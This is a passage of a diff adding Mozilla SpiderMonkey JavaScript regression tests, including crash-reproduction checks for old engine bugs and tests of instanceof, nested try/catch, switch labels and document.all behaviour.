+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+
+
+ if (i % 80 == 0) {
+ printStatus("This doesn't want to crash now, please keep trying.");
+ break;
+ }
+
+}
+
+// These have to be named functions, using anonymous functions doesn't crash.
+// Using just one function here makes the crash much less likely.
+function dummy(){}
+function dummy2(){}
+function dummy3(){}
+
+actual = 'No Crash';
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/js1_5/Regress/regress-244619.js b/js/src/tests/js1_5/Regress/regress-244619.js
new file mode 100644
index 000000000..1406535e8
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-244619.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 244619;
+var summary = 'Don\'t Crash';
+var actual = 'Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f1()
+{
+ var o = new Object();
+ eval.call(o, "var a = 'vodka'"); // <- CRASH !!!
+}
+
+// Rhino does not allow indirect eval calls
+try
+{
+ f1();
+}
+catch(e)
+{
+}
+
+actual = 'No Crash';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-245113.js b/js/src/tests/js1_5/Regress/regress-245113.js
new file mode 100644
index 000000000..abbda6ac0
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-245113.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 245113;
+var summary = 'instanceof operator should return false for class prototype';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+Date.prototype.test = function() {
+ return (this instanceof Date);
+};
+
+String.prototype.test = function() {
+ return (this instanceof String);
+};
+
+status = summary + inSection(1);
+expect = false;
+actual = (Date.prototype.test instanceof Date);
+reportCompare(expect, actual, status);
+
+status = summary + inSection(2);
+expect = false;
+actual = Date.prototype.test();
+reportCompare(expect, actual, status);
+
+status = summary + inSection(3);
+expect = false;
+actual = String.prototype.test();
+reportCompare(expect, actual, status);
+
+status = summary + inSection(4);
+expect = true;
+actual = (new Date()).test();
+reportCompare(expect, actual, status);
+
+status = summary + inSection(5);
+expect = true;
+actual = (new String()).test();
+reportCompare(expect, actual, status);
+
diff --git a/js/src/tests/js1_5/Regress/regress-245308.js b/js/src/tests/js1_5/Regress/regress-245308.js
new file mode 100644
index 000000000..51c928587
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-245308.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 245308;
+var summary = 'Don\'t Crash with nest try catch';
+var actual = 'Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function foo(e) {
+ try {}
+ catch(ex) {
+ try {}
+ catch(ex) {}
+ }
+}
+
+foo('foo');
+
+actual = 'No Crash';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-246911.js b/js/src/tests/js1_5/Regress/regress-246911.js
new file mode 100644
index 000000000..2f35f5fd8
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-246911.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 246911;
+var summary = 'switch() statement with variable as label';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 'PASS';
+
+var a = 10;
+a = 9;
+var b = 10;
+
+switch(b)
+{
+case a:
+ actual = 'FAIL';
+ break;
+default:
+ actual = 'PASS';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-246964.js b/js/src/tests/js1_5/Regress/regress-246964.js
new file mode 100644
index 000000000..d95b3c1da
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-246964.js
@@ -0,0 +1,160 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 246964;
+// see also bug 248549, bug 253150, bug 259935
+var summary = 'undetectable document.all';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof document == 'undefined')
+{
+ expect = actual = 'Test requires browser: skipped';
+ reportCompare(expect, actual, summary);
+}
+else
+{
+ status = summary + ' ' + inSection(1) + ' if (document.all) ';
+ expect = false;
+ actual = false;
+ if (document.all)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(2) + 'if (isIE) ';
+ expect = false;
+ actual = false;
+ var isIE = document.all;
+ if (isIE)
+ {
+ actual = true;
+ }
+ reportCompare(expect, actual, status);
+
+ status = summary + ' ' + inSection(3) + ' if (document.all != undefined) ';
+ expect = false;
+ actual = false;
+ if (document.all != undefined)
+ {
+ actual = true;
